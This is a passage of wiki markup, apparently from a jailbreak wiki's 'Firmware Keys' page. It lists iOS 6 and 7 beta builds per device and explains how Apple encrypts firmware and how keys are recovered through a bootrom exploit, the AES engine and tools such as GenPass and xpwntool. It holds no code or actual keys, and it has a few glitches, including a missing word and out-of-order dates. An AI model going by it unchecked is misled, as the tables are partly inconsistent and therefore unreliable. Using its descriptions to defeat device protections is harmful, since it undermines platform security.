| [[BrightonVail 10B5126b (iPhone 4 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4 GSM Rev A)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4 CDMA)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 4S)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 5 GSM)|6.1b4]]
| [[BrightonVail 10B5126b (iPhone 5 Global)|6.1b4]]
| [[BrightonVail 10B5126b (iPod touch 4G)|6.1b4]]
| [[BrightonVail 10B5126b (iPod touch 5G)|6.1b4]]
|-
| rowspan="4" | 26 Jan 2013
! style="text-align:left;" | 10B141
| colspan="2" {{n/a}}
| [[Brighton 10B141 (iPad 2 Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad 2 GSM)|6.1b5]]
| [[Brighton 10B141 (iPad 2 CDMA)|6.1b5]]
| [[Brighton 10B141 (iPad 2 Wi-Fi Rev A)|6.1b5]]
| [[Brighton 10B141 (iPad 3 Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad 3 CDMA)|6.1b5]]
| [[Brighton 10B141 (iPad 3 Global)|6.1b5]]
| [[Brighton 10B141 (iPad 4 Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad 4 GSM)|6.1b5]]
| [[Brighton 10B141 (iPad 4 Global)|6.1b5]]
| [[Brighton 10B141 (iPad mini 1G Wi-Fi)|6.1b5]]
| [[Brighton 10B141 (iPad mini 1G GSM)|6.1b5]]
| [[Brighton 10B141 (iPad mini 1G Global)|6.1b5]]
| [[Brighton 10B141 (iPhone 3GS)|6.1b5]]
| colspan="2" {{n/a}}
| [[Brighton 10B141 (iPhone 4 CDMA)|6.1b5]]
| colspan="4" {{n/a}}
| [[Brighton 10B141 (iPod touch 5G)|6.1b5]]
|-
! style="text-align:left;" | 10B142
| colspan="19" {{n/a}}
| [[Brighton 10B142 (iPhone 4S)|6.1b5]]
| colspan="7" {{n/a}}
|-
! style="text-align:left;" | 10B143
| colspan="20" {{n/a}}
| [[Brighton 10B143 (iPhone 5 GSM)|6.1b5]]
| [[Brighton 10B143 (iPhone 5 Global)|6.1b5]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 10B144
| colspan="16" {{n/a}}
| [[Brighton 10B144 (iPhone 4 GSM)|6.1b5]]
| [[Brighton 10B144 (iPhone 4 GSM Rev A)|6.1b5]]
| colspan="4" {{n/a}}
| [[Brighton 10B144 (iPod touch 4G)|6.1b5]]
| colspan="1" {{n/a}}
|-
| rowspan="1" | 6 Feb 2013
! style="text-align:left;" | 10B311
| colspan="2" {{n/a}}
| [[BrightonMaps 10B311 (iPad 2 Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 2 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 2 CDMA)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 2 Wi-Fi Rev A)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 3 Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 3 CDMA)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 3 Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 4 Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 4 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad 4 Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad mini 1G Wi-Fi)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad mini 1G GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPad mini 1G Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 3GS)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4 GSM Rev A)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4 CDMA)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 4S)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 5 GSM)|6.1.1b]]
| [[BrightonMaps 10B311 (iPhone 5 Global)|6.1.1b]]
| [[BrightonMaps 10B311 (iPod touch 4G)|6.1.1b]]
| [[BrightonMaps 10B311 (iPod touch 5G)|6.1.1b]]
|-
| class="nobborderplz" rowspan="2" | 21 Feb 2013
! style="text-align:left;" | 10B318
| colspan="15" {{n/a}}
| [[BrightonMaps 10B318 (iPhone 3GS)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4 GSM Rev A)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4 CDMA)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 4S)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 5 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPhone 5 Global)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPod touch 4G)|6.1.3b2]]
| [[BrightonMaps 10B318 (iPod touch 5G)|6.1.3b2]]
|-
! style="text-align:left;" | 10B318a
| colspan="2" {{n/a}}
| [[BrightonMaps 10B318a (iPad 2 Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 2 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 2 CDMA)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 2 Wi-Fi Rev A)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 3 Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 3 CDMA)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 3 Global)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 4 Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 4 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 4 Global)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad mini 1G Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad mini 1G GSM)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad mini 1G Global)|6.1.3b2]]
| colspan="9" {{n/a}}
|}

==== 7.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="3" | [[Apple TV]]
! colspan="12" | [[iPad]]
! colspan="5" | [[iPad mini]]
! colspan="10" | [[iPhone]]
! colspan="1" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! colspan="2" | [[Apple TV 3G|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="2" | [[iPad Air|Air]]
! colspan="3" | [[iPad mini 1G|1G]]
! colspan="2" | [[iPad mini 2G|2G]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! colspan="2" | [[iPhone 5c|5c]]
! colspan="2" | [[iPhone 5s|5s]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[j33ap|Orig]]
! [[j33iap|Rev A]]
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[j71ap|Wi‑Fi]]
! [[j72ap|Cellular]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[j85ap|Wi‑Fi]]
! [[j86ap|Cellular]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! [[n42ap|Global]]
! [[n48ap|GSM]]
! [[n49ap|Global]]
! [[n51ap|GSM]]
! class="rborderplz" | [[n53ap|Global]]
|-
| 10 Jun 2013
! style="text-align:left;" | 11A4372q
| [[InnsbruckVailPrime 11A4372q (Apple TV 2G)|5.4b]]
| [[InnsbruckVailPrime 11A4372q (Apple TV 3G)|5.4b]]
| [[InnsbruckVailPrime 11A4372q (Apple TV 3G Rev A)|5.4b]]
| colspan="17" {{n/a}}
| [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 4 CDMA)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 4S)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 5 GSM)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 5 Global)|7.0b]]
| rowspan="7" colspan="4" {{n/a}}
| [[InnsbruckVailPrime 11A4372q (iPod touch 5G)|7.0b]]
|-
| 24 Jun 2013
! style="text-align:left;" | 11A4400f
| [[InnsbruckVailPrime 11A4400f (Apple TV 2G)|5.4b2]]
| [[InnsbruckVailPrime 11A4400f (Apple TV 3G)|5.4b2]]
| [[InnsbruckVailPrime 11A4400f (Apple TV 3G Rev A)|5.4b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 CDMA)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 Wi-Fi Rev A)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 3 Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 3 CDMA)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 3 Global)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 4 Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 4 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 4 Global)|7.0b2]]
| rowspan="6" colspan="2" {{n/a}}
| [[InnsbruckVailPrime 11A4400f (iPad mini 1G Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad mini 1G GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad mini 1G Global)|7.0b2]]
| rowspan="6" colspan="2" {{n/a}}
| [[InnsbruckVailPrime 11A4400f (iPhone 4 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 4 GSM Rev A)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 4 CDMA)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 4S)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 5 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 5 Global)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPod touch 5G)|7.0b2]]
|-
| 8 Jul 2013
! style="text-align:left;" | 11A4414e
| colspan="3" {{n/a}}
| [[InnsbruckVailPrime 11A4414e (iPad 2 Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 2 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 2 CDMA)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 2 Wi-Fi Rev A)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 3 Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 3 CDMA)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 3 Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 4 Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 4 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 4 Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad mini 1G Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad mini 1G GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad mini 1G Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4 GSM Rev A)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4 CDMA)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4S)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 5 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 5 Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPod touch 5G)|7.0b3]]
|-
| 29 Jul 2013
! style="text-align:left;" | 11A4435d
| [[InnsbruckVailPrime 11A4435d (Apple TV 2G)|6.0b3]]
| [[InnsbruckVailPrime 11A4435d (Apple TV 3G)|6.0b3]]
| [[InnsbruckVailPrime 11A4435d (Apple TV 3G Rev A)|6.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 CDMA)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 Wi-Fi Rev A)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 3 Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 3 CDMA)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 3 Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 4 Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 4 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 4 Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad mini 1G Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad mini 1G GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad mini 1G Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4 GSM Rev A)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4 CDMA)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4S)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 5 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 5 Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPod touch 5G)|7.0b4]]
|-
| 6 Aug 2013
! style="text-align:left;" | 11A4449a
| [[InnsbruckVailPrime 11A4449a (Apple TV 2G)|6.0b4]]
| [[InnsbruckVailPrime 11A4449a (Apple TV 3G)|6.0b4]]
| [[InnsbruckVailPrime 11A4449a (Apple TV 3G Rev A)|6.0b4]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 CDMA)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 Wi-Fi Rev A)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 3 Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 3 CDMA)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 3 Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 4 Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 4 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 4 Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad mini 1G Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad mini 1G GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad mini 1G Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4 GSM Rev A)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4 CDMA)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4S)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 5 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 5 Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPod touch 5G)|7.0b5]]
|-
| 15 Aug 2013
! style="text-align:left;" | 11A4449d
| rowspan="2" colspan="3" {{n/a}}
| [[InnsbruckVailPrime 11A4449d (iPad 2 Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 2 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 2 CDMA)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 2 Wi-Fi Rev A)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 3 Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 3 CDMA)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 3 Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 4 Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 4 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 4 Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad mini 1G Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad mini 1G GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad mini 1G Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4 GSM Rev A)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4 CDMA)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4S)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 5 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 5 Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPod touch 5G)|7.0b6]]
|-
| 10 Sep 2013
! style="text-align:left;" | 11A465
| [[Innsbruck 11A465 (iPad 2 Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad 2 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPad 2 CDMA)|7.0GM]]
| [[Innsbruck 11A465 (iPad 2 Wi-Fi Rev A)|7.0GM]]
| [[Innsbruck 11A465 (iPad 3 Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad 3 CDMA)|7.0GM]]
| [[Innsbruck 11A465 (iPad 3 Global)|7.0GM]]
| [[Innsbruck 11A465 (iPad 4 Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad 4 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPad 4 Global)|7.0GM]]
| [[Innsbruck 11A465 (iPad mini 1G Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad mini 1G GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPad mini 1G Global)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4 GSM Rev A)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4 CDMA)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4S)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 5 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 5 Global)|7.0GM]]
| [[Innsbruck 11A465 (iPod touch 5G)|7.0GM]]
|-
| 18 Nov 2013
! style="text-align:left;" |11D5099e
| [[SochiVail 11D5099e (Apple TV 2G)|6.1b]]
| [[SochiVail 11D5099e (Apple TV 3G)| 6.1b]]
| [[SochiVail 11D5099e (Apple TV 3G Rev A)| 6.1b]]
| [[SochiVail 11D5099e (iPad 2 Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad 2 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPad 2 CDMA)|7.1b]]
| [[SochiVail 11D5099e (iPad 2 Wi-Fi Rev A)|7.1b]]
| [[SochiVail 11D5099e (iPad 3 Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad 3 CDMA)|7.1b]]
| [[SochiVail 11D5099e (iPad 3 Global)|7.1b]]
| [[SochiVail 11D5099e (iPad 4 Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad 4 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPad 4 Global)|7.1b]]
| [[SochiVail 11D5099e (iPad Air Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad Air Cellular)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 1G Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 1G GSM)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 1G Global)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 2G Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 2G Cellular)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4 GSM Rev A)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4 CDMA)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4S)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5 Global)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5c GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5c Global)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5s GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5s Global)|7.1b]]
| [[Innsbruck 11D5099e (iPod touch 5G)|7.1b]]
|-
| 14 Nov 2013
! style="text-align:left;" | 11D5115d
| [[SochiVail 11D5115d (Apple TV 2G)|6.1b2]]
| [[SochiVail 11D5115d (Apple TV 3G)| 6.1b2]]
| [[SochiVail 11D5115d (Apple TV 3G Rev A)| 6.1b2]]
| [[SochiVail 11D5115d (iPad 2 Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad 2 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPad 2 CDMA)|7.1b2]]
| [[SochiVail 11D5115d (iPad 2 Wi-Fi Rev A)|7.1b2]]
| [[SochiVail 11D5115d (iPad 3 Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad 3 CDMA)|7.1b2]]
| [[SochiVail 11D5115d (iPad 3 Global)|7.1b2]]
| [[SochiVail 11D5115d (iPad 4 Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad 4 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPad 4 Global)|7.1b2]]
| [[SochiVail 11D5115d (iPad Air Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad Air Cellular)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 1G Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 1G GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 1G Global)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 2G Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 2G Cellular)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4 GSM Rev A)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4 CDMA)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4S)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5 Global)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5c GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5c Global)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5s GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5s Global)|7.1b2]]
| [[Innsbruck 11D5115d (iPod touch 5G)|7.1b2]]
|}
[[Category:Decryption]]

Firmware Keys

2013-12-31T00:12:23Z

Http: /* 7.x */ fix wrong links

__NOTOC__
'''Firmware Keys''' are keys which decrypt the [[:/|root filesystem]] of certain ([[Beta Firmware|beta]]) [[firmware]]s. Apple uses a to ensure the safety of their files. Over time Apple has changed the way to encrypt firmware files, thus the way to decrypt files as well as the way to get the keys has also.

== History ==
With the release of the iPhone came the [[S5L File Formats#IMG2|IMG2]] file format. They were used on all known [[iOS|iPhone OS]] [[#1.x|1.x]] firmwares. For the 1.1.x series, they were encrypted with the [[AES Keys#Key 0x837|0x837 key]]. The discovery of the 0x837 key led to the ability to decrypt ''any'' 1.x firmware.

Following IMG2 came the [[IMG3 File Format|IMG3]] file format. They were introduced with iPhone OS [[#1.x.2F2.x|2.0b4]], and have been in use ever since. In order to maintain their integrity, they contain multiple layers of encryption, all based around a [[wikipedia:Public-key cryptography|public/private key]] encryption method. Apple took encryption seriously with IMG3 by utilizing [[wikipedia:Advanced Encryption Standard|AES]] (based on the [[wikipedia:Rijndael key schedule|Rinjndael key schedule]]). In order to complicate things, they contain the [[VFDecrypt]] key, albeit encrypted, as part of the [[KBAG]] structure in the [[ramdisk]]s.

The ramdisk keys can ''only'' be retrieved with the processor specific [[GID Key]]. The GID key is currently unretrievable and can only be utilized through the built-in [[AES Keys|AES engine]]. To complicate things ''even more'', the engine is only accessible through a special [[bootrom]] exploit ([[jailbreak]]s typically expose it with [[:/dev/aes_0]]). This makes usage of the key nearly impossible.

However, once you have access to the AES engine, the entire system falls apart. You are able to upload an encrypted ramdisk and grab the decryption keys for it. Once you manage to decrypt the ramdisk, you can run it through [[GenPass]] to decrypt the Firmware key.

Beginning with iOS 6.0b1, Apple tweaked their disk images so they no longer work with VFDecrypt. VFDecrypt will report that the filesystem is decrypted, but you will be unable to mount it. The current workaround is to use [[dmg]] from [[Xpwn]] to decrypt them. What has changed to break VFDecrypt is currently unknown. Decryption will take slightly longer due to dmg writing its progress to the terminal, but the difference is negligible.

To find the keys, you can either use the the methods on [[AES Keys]] or the easier option, for OS X, [[keylimepie]].

== Decrypting ==
{{main|Decrypting Firmwares}}

== Notes ==
{| class="wikitable" style="float: right;"
|-
! Application Processor
! [[iDevice]]
|-
| [[S5L8900]]
| [[m68ap|iPhone 2G]] [[n82ap|iPhone 3G]] [[n45ap|iPod touch 1G]]
|-
| [[S5L8720]]
| [[n72ap|iPod touch 2G]]
|-
| [[S5L8920]]
| [[n88ap|iPhone 3GS]]
|-
| [[S5L8922]]
| [[n18ap|iPod touch 3G]]
|-
| [[S5L8930]] (A4)
| [[k48ap|iPad 1G]] [[iPhone 4]] [[n81ap|iPod touch 4G]] [[k66ap|Apple TV 2G]]
|-
| [[S5L8940]] (A5)
| [[iPad 2]] [[n94ap|iPhone 4S]]
|-
| [[S5L8942]] (A5 Rev A)
| [[k93aap|iPad 2 (Wi‑Fi) [Rev A]<nowiki/>]] [[j33ap|Apple TV 3G]] [[iPod touch 5G]] [[iPad mini 1G]]
|-
| [[S5L8945]] (A5X)
| [[iPad 3]]
|-
| [[S5L8947]] (A5 Rev B)
| [[j33iap|Apple TV 3G (Rev A)]]
|-
| [[S5L8950]] (A6)
| [[iPhone 5]] [[iPhone 5c]]
|-
| [[S5L8955]] (A6X)
| [[iPad 4]]
|-
| [[S5L8960]] (A7)
| [[iPhone 5s]], [[iPad mini 2G]]
|-
| [[S5L8965]] (A7 Rev A)
| [[iPad Air]]
|}

Certain files share the same key and IV per [[Application Processor|application processor]] (per build) provided the devices have the same pixel resolution:
* [[Update Ramdisk]]
* [[Restore Ramdisk]]
* [[AppleLogo]]
* [[BatteryCharging0]]
* [[BatteryCharging1]]
* [[BatteryFull]]
* [[BatteryLow0]]
* [[BatteryLow1]]
* [[GlyphCharging]]
* [[GlyphPlugin]]
* [[Kernelcache]]
* [[NeedService]]
* [[RecoveryMode]]
* [[WTF]]

The table on the right lists the application processors and their corresponding devices. This list is also accessable from the [[Main Page|main page]].

You can use [[img3decrypt]] or [[xpwntool]] to decrypt these files as described in [[Decrypting Firmwares]]. Once done, mount or extract using the tool of your choice.

When posting a key page, please use the [[Template:Keys|key template]].

The firmware version number for the [[Apple TV]] builds are the ones that the Apple TV reports (also known as the "marketing version").

All dates are relative to [[wikipedia:Coordinated Universal Time|UTC]].

You cannot get A5+ keys until a bootrom exploit is found. If the ramdisk is not encrypted, you may then get the RootFS key ONLY.

== Firmware Versions ==
{{see also|Prototypes}}
This is a full and comprehensive list of all firmwares Apple Inc. has made available to the public in some way, be it the [[Apple Developer|dev center]] or [[iTunes]].
=== Final ===
{{main|Firmware}}
==== 1.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! [[iPhone]]
! [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n45ap|1G]]
|-
| 29 Jun 2007
! style="text-align:left;" | 1A543a
| class="rborderplz" | [[Heavenly 1A543a (iPhone)|1.0]]
| rowspan="3" {{n/a}}
|-
| 31 Jul 2007
! style="text-align:left;" | 1C25
| class="rborderplz" | [[SUHeavenlyJuly 1C25 (iPhone)|1.0.1]]
|-
| 21 Aug 2007
! style="text-align:left;" | 1C28
| class="rborderplz" | [[SUHeavenlyJuly 1C28 (iPhone)|1.0.2]]
|-
| rowspan="2" | 14 Sep 2007
! style="text-align:left;" | 3A100a
| rowspan="2" {{n/a}}
| [[Snowbird 3A100a (iPod touch)|1.1]]
|-
! style="text-align:left;" | 3A101a
